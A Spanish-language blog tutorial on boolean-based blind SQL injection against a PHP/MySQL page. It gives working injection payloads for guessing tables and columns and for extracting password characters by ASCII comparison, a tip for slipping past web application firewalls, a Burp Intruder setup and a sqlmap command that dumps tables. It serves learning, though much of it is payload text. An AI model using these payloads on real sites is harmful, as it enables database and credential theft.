bievenidos a este nuevo "tutorial xD" visitantes del blog, en este caso veremos una inyeccion no se si es bastante comun...
bueno antes que nada quiero decirles que en este tutorial trabajaremos viendo el codigo y en el back-end, de esta manera para comprender mejor lo que estamos haciendo, se recomienda tener conocimientos basicos de PHP y Mysql....
Por ultimo pasaremos a usar una herramienta en la cual haremos la inyeccion de una manera mas 'rapida' aunque no del todo, de igual forma veremos como automatizar la inyeccion.
Que es Blind SQLI Boolean Based
Como puedes ver me refiero a blind sqli con una inyeccion sqli de manera oculta, es decir, que no muestra errores, y boolean based, me refiero a que esta basada en datos booleanos verdadero o falso, de esta manera tenemos una idea de que estamos correctos o estamos incorrectos :P
Si quieren una mejor definicion que la mia pues tienen wikipedia:
http://es.wikipedia.org/wiki/Blind_SQL_injection
¿Por que ocurre esta inyeccion?
Esta inyeccion ocurre por que no se muestran mensajes de error, es decir podemos tener una consulta vulnerable a sqli pero si no se muestra
mysql_error() o alguna funcion de error, entonces solo veremos como la pagina se "deforma" de manera que podriamos saber que podria ser vulnerable, muchas veces esto tambien pasa por que los programadores piensan que con solo agregar
error_reporting(0) o
@$id=1; a su codigo tendran seguros de que no pueden ser inyectados, pero como me dijo una ves un amigo por msn, esto puede ser una cosa "estupida de programar" y bueno ahora veo por que....
Analizando el codigo
Bueno esta es una de las cosas que mas nos gusta XDDD jaja, quiero antes decir, que es bueno que aprendan algo basico de mysql, en este mismo blog pueden encontrar unas "miniseries de mysql" para aprender lo basico... lo que mas se vera seran las consultas y algunas funciones que sirven para cierta cosa....
El codigo de la aplicacion es el siguiente (lo he sacado del manual de ka0x donde tambien explica blind_sqli por que para esta practica estaba bien ponerlo):
http://pastebin.com/KDSbaSGD
Lo que hace esto es solo seleccionar los registros dependiendo del identificador ( 1,2,3...etc ) que le asignes a la variable id.
Tiene dos cosas que aqui son muy importantes:
@mysql_num_rows($query)==0
@mysql_fetch_row($query)
donde @ tapa el error, en la primera obtenemos el numero de filas de una peticion y si es igual a cero simplemente mostramos un mensaje de "No hay columnas" y la segunda lo que hace es obtener los registros como arrays con la peticion anterior....
De esta manera "sabremos" que cuando tire "No hay columnas" en realidad esta tirando un error y cuando se muestren los datos correctamente entonces estamos en lo correcto, de esta manera es verdadero o falso (boolean based :) )...
Como mencione mas arriba es necesario que sepan un poco de PHP y MYSQL para poder comprender mejor el codigo y poder imaginarnos el tipo de consultas que podemos hacer y como trabaja la mente de ese programador.... esto me lo enseño un amigo y es realmente como se descubren las SQLi, no hay trucos detrás XD :P (puede que tips si pero trucos no xD)....
Inyectando en el codigo SQL
Me refiero a inyectar el codigo SQL, por que en realidad lo que hacemos es inyectar en una variable PHP lo interpreta y lo envia al servidor para que mysql trabaje y que cause nuestro error (en este caso oculto xD).
Veamos entonces tenemos una consulta asi:
select * from users where id=$id;
http://vulnerable.com?id=1
http://vulnerable.com?id=2
http://vulnerable.com?id=3
http://vulnerable.com?id=ETC
sabemos que la variable id es vulnerable, entonces inyectamos algo que rompa la consulta.....
Asi esta nuestra aplicacion corriendo correctamente:
Entonces inyectamos un ' para romper la consulta....
De esta manera hemos "deformado la pagina" y sabemos que no nos ha devuelto algo correcto (verdadero) sino algo incorrecto (falso) de esta manera sabemos que la consulta se ha roto...
Comprobemos que estamos en lo correcto :D
Para ello haremos una consulta utilizando falso o verdadero :D
Como dijimos esta era nuestra consulta:
select * from users where id=$id;
modificando la consulta veremos si nos devuelve correctamente los valores verdadero y falso....
select * from users where id=$id and 1=1;
select * from users where id=$id and 1=0;
Lo que estamos haciendo aqui, es verificar, si 1 es igual a 1 que en este caso es cierto (verdadero) no tendremos errores en la consulta
Pero por ejemplo si 1 es igual a 0 que es incorrecto (falso) entonces deberiamos de tener un error ahi por que para poder que se cumpla una consulta se deben cumplir ambos (verificar la tabla de la verdad de los minitutoriales de mysql xD)
de esta manera podemos modificar la consulta:
http://vulnerable.com?id=1 and 1=1
http://vulnerable.com?id=1 and 1=0
no necesariamente tenemos que poner and 1=1, solo lo ponemos para entender rapidamente el ejemplo, pero tambien podemos usar having, div, o letras.... por ejemplo:
http://vulnerable.com?id=1 having 1=1
http://vulnerable.com?id=1 having 1=0
o
http://vulnerable.com?id=1 div 1
http://vulnerable.com?id=1 div 0
tambien podriamos usar true o false en lugar de 1 o 0, de esta manera evitariamos (bypasseariamos) algunos WAFs (Web application firewall)...
De esta manera:
Asi entendiendo el concepto de boolean based :D, podemos trabajar facilmente.... haciendo consultas de este tipo:
http://vulnerable.com?id=1 and substring(version(),1,1)=5
http://vulnerable.com?id=1 and substring(version(),1,1)=4
de esta manera estamos diciendo que coja el primer caracter de la string que arroja la variable version() y comprobemos si es igual a 5 o 4 siendo estas las versiones del mysql :D... para comprenderlo mejor trabajaremos en el back-end de mysql....
Ahi pueden ver como trabaja.... es decir seleccionamos la version pueden ver que la cadena contiene un 5, es decir, la version es 5, entonces despues seleccionamos el primer caracter de la cadena arthusu en este caso es a, ahora si tenemos la consulta y comprobamos si es igual a 5 nos muestra la consulta tal y como la pedimos pero si la consulta no es igual a 5 muestra que no se encuentran los registros que pedimos :(
De esta manera:
Obteniendo el nombre de la tabla
para obtener el nombre de la tabla podemos usar dos maneras, aunque creo que pueden existir mas variaciones no sabria pero podrian aver creado una en estos momentos xDDD....
con esta consulta:
select * from users where id=1 and (select 1 from tabla limit 0,1)=1;
podriamos decir que estamos que estamos haciendo lo mismo que arriba que es and 1=1 pero en este caso usamos select para seleccionar un campo o registro....
donde tabla seria la tabla que estariamos buscando y como no sabemos cual es dependiendo de como sea la pagina podemos crear una lista de palabras comunes utilizadas para derechos administrativos e intentar de una a una hasta dar con una (brute force)
otra manera es seleccionar todas las filas con count(*):
select * from users where id=1 and (select count(*) from tabla);
en caso donde tabla seria la tabla que buscariamos y count(*) esta contando todas las filas que en este caso son 3.... para que no nos bote error....
De esta manera:
Para comprender mejor como funciona el count(*) pueden ver la serie de minitutoriales de mysql.... pero en realidad lo que hace es seleccionar todas las filas de esta manera no tendremos errores en los campos de la consulta y podremos empezar a buscar la tabla hasta dar con una....
en este caso la tabla es users
podemos ir sacando un bloc de notas o tomboy o lo que sea para ir anotando la version la tabla las columnas etc etc.....
de manera que ya sabemos cual es la tabla, podemos hacer unas comprobaciones para saber el numero de filas que contiene la tabla, ¿como?
simple, teniamos esta consula:
select * from users where id=1 and (select count(*) from tabla);
sabemos que selecciona todos los registros users y selecciona todos los registros desde la tabla encontrada.. en este caso tambien es users (no necesesariamente podriamos encontrar la misma tabla la mayoria de las veces es una diferente :P)
sabiendo esto podriamos hacer la consulta comprobando el numero de filas que ya esta haciendo con count(*), es decir:
select * from users where id=1 and (select count(*) from users)=3;
esto daria un verdadero por que en realidad si tenemos 3 filas en la tabla users.... lo puedes ver en el ejemplo de arriba donde mostramos los datos en el back-end... en caso de que fuera otro valor devolveria falso, tambien podemos usar > < en lugar de = para ir acercandonos al resultado deseado....
Obteniendo el nombre de la columna
Pues tenemos la tabla con la siguiente consulta:
select * from users where id=1 and (select count(*) from tabla);
solo habria que cambiar el count(*) donde * significa que seleccione todas las columnas, pues solamente intentaremos hasta dar con la columna deseada :)
select * from users where id=1 and (select count(username) from users); ---> FALSO
select * from users where id=1 and (select count(password) from users); --->VERDADERO
ahi tenemos dos consultas donde la primera selecciona la columna username la cual no existe entonces la pagina arrojaria falso, pero si en caso de introducir username introducimos password que si existe devolveria verdadero :)
Anteriormente tambien teniamos un consulta de tipo verdadero:
select * from users where id=1 and (select 1 from tabla)=1;
Entonces podemos aplicar lo mismo de arriba y seleccionar la columna deseada de esta manera:
select * from users where id=1 and (select substring(concat(1,username)1,1) from users limit 0,1)=1; --->FALSO
select * from users where id=1 and (select substring(concat(1,password),1,1) from users limit 0,1)=1; --->VERDADERO
explicare la consulta 2 que es nuestra inyeccion :P decimos que seleccione el primer caracter de la columna password (esta concatenando con 1 como anteriormente vimos para que no genere un error, aunque es como costumbre por que podemos hacerlo sin 1 :P) desde users limitando al primer registro que esto sea igual a verdadero, es decir, verdadero es igual a verdadero o falso es igual a verdadero en la primera consulta :P
Siendo asi tenemos:
Si queremos obtener el tamaño de una columna podriamos hacerlo de la siguiente manera:
select * from users where id=1 and (select length(password) from users limit 0,1)=5; --->FALSO
select * from users where id=1 and (select length(password) from users limit 0,1)=7; --->VERDADERO
length nos devuelve el tamaño del primer registro (limit 0,1). Ejemplo:
Obteniendo los registros
Hasta ahora hemos estado obtenteniendo las tablas, las columnas, y ahora viene lo mas importante que seria los registros.....
En este caso nos guiaremos de las consultas anteriores para realizar la busqueda, en este caso buscaremos por caracteres ascii (les digo por caracteres ascii por que hay otras formas de realizar esto pueden visitar AlguienEnLaFisi que se encuentra en webs amigas de este blog donde viene un tutorial para hacer blind sqli con menos consultas :D), bueno siendo asi veamos como quedaran estas consultas:
select * from users where id=1 and ascii(substring((select password from users limit 0,1),1,1))>50; --->FALSO
select * from users where id=1 and ascii(substring((select password from users limit 0,1),1,1))<50; --->VERDADERO
Lo que estamos haciendo en esta consulta es seleccionando el primer caracter del primer registro de la columna password y verificando si su valor ascii es mayor a 50 o menor a 50, en este caso es menor a 50....
en este caso despues de prueba y error me ha saltado que es:
select * from users where id=1 and ascii(substring((select password from users limit 0,1),1,1))=49;
entonces el valor ascii es 49 :D para verificar estos valores podemos usar una tabla con valores ascii...
o tambien desde el back-end haciendo un select con la funcion char, vendria siendo: select char(49); donde 49 es el valor ascii....
en este caso es el numero 1
haciendo esto en el front-end veamos las consultas que se realizan :D
de esta manera para obtener los siguientes caracteres solo habria que
ir cambiando el numero de caracter en substring y el numero de valor ascii....
select * from users where id=1 and ascii(substring((select password from users limit 0,1),2,1))=49 --->FALSO
select * from users where id=1 and ascii(substring((select password from users limit 0,1),1,1))=50 ---> VERDADERO
y como sabemos que tenemos 7 caracteres en ese primer registro
por la consulta que ya habiamos hecho anteriormente:
select * from users where id=1 and (select length(password) from users limit 0,1)=7;
De esta manera solo nos tocaria seguir decifrando.... pero esto es algo tardado dependiendo de los datos que tenga el servidor, es por eso que muchos utilizan herramientas para automatizar este proceso, entonces primero semi-automatizare el proceso y luego automatizare por completo :D
Proceso Semi-Automatizado
En este caso para este proceso utilizaremos Burp Suite que lo pueden descargar gratuito desde su sitio oficial: http://portswigger.net/burp//download.html
Lo habrimos y configuramos en firefox como proxy (Editar>Preferencias>Avanzado>red>Configurar>configuracion manual de proxy>127.0.0.1:8080 que es por defecto como viene...)
De esta manera haremos la peticion a la pagina vulnerable a blind sqli boolean based e intentaremos inyectar por medio de burp suite de manera semi-automatizada.....
vemos en proxy que se intercepto la peticion correctamente:
le damos ctrl+i para enviarlo a intruder....
Vamos a la pestaña intruder>positions.... en este caso tenemos algo asi:
GET /blind_sqli.php?id=§1§ HTTP/1.1
y la posicion seleccionada es la variable §1§ lo quitamos dando en clear....
ahora haremos nuestro payload es decir nuestro vector de ataque:
GET /blind_sqli.php?id=1 and ascii(substring((select password from users limit 0,1),1,1))=§1§ HTTP/1.1
en este caso solo inyectamos nuestro codigo y seleccionamos §1§ como el valor ascii.... para seleccionarlo solo seleccionar 1 y darle en add
Despues vamos a payloads>seleccionamos en payload type: Numbers y le damos un rango de 32-126 de 1 en 1 eso lo hice viendo la tabla ascii de arriba... la configuracion quedaria asi:
Listo ya esta todo configurado, esto hara 95 peticiones algo exagerado.... pero nos podemos ir mirando hasta que encontremos un length que arroje la pagina diferente a todos los demas ese seria nuestro primer caracter.....
Intruder>Start Attack
mirando nuestro ataque:
Como vemos ahi podemos darnos cuenta que nuestro payload seria 29 el tamaño(length) de la respuesta es mayor y si vemos la respuesta(response) podemos asegurar que es la correcta el primer caracter es el numero 49 :D y asi podemos ir sacando los siguientes caracteres... si sigue buscando dale Attack>Pause y Cerrar :P
Automatizando el proceso
Para este caso utilizaremos SQLMAP lo pueden bajar desde su sitio oficial:
http://sqlmap.org/
En este caso utilizaremos este ataque:
./sqlmap.py --url="http://localhost/blind_sqli.php?id=1" -p id --dbms="mysql" --random-agent --threads=2 --tables
No explico en este tutorial el uso de sqlmap en todo caso tienen muchos tutos de el en la red o su mismo manual oficial que esta muy completo....
De todas maneras explicare las opciones usadas....
--url - Especifica la url
-p - Indica el parametro vulnerable
--dbms - Indica la base de datos que se esta utilizando
--random-agent - Elige un navegador aleatorio para enviar la peticion
--threads - Es el numero de peticiones maxima que hara
--tables - Indica que quiero que dumpee las tablas
De esta manera nos arroja los resultados deseados con solo esperar :)
Por ultimo les dejo un video realizando Blind SQLi Boolean based espero que sea de su agrado :D
Si les gusto el tutorial comenten :P je saludos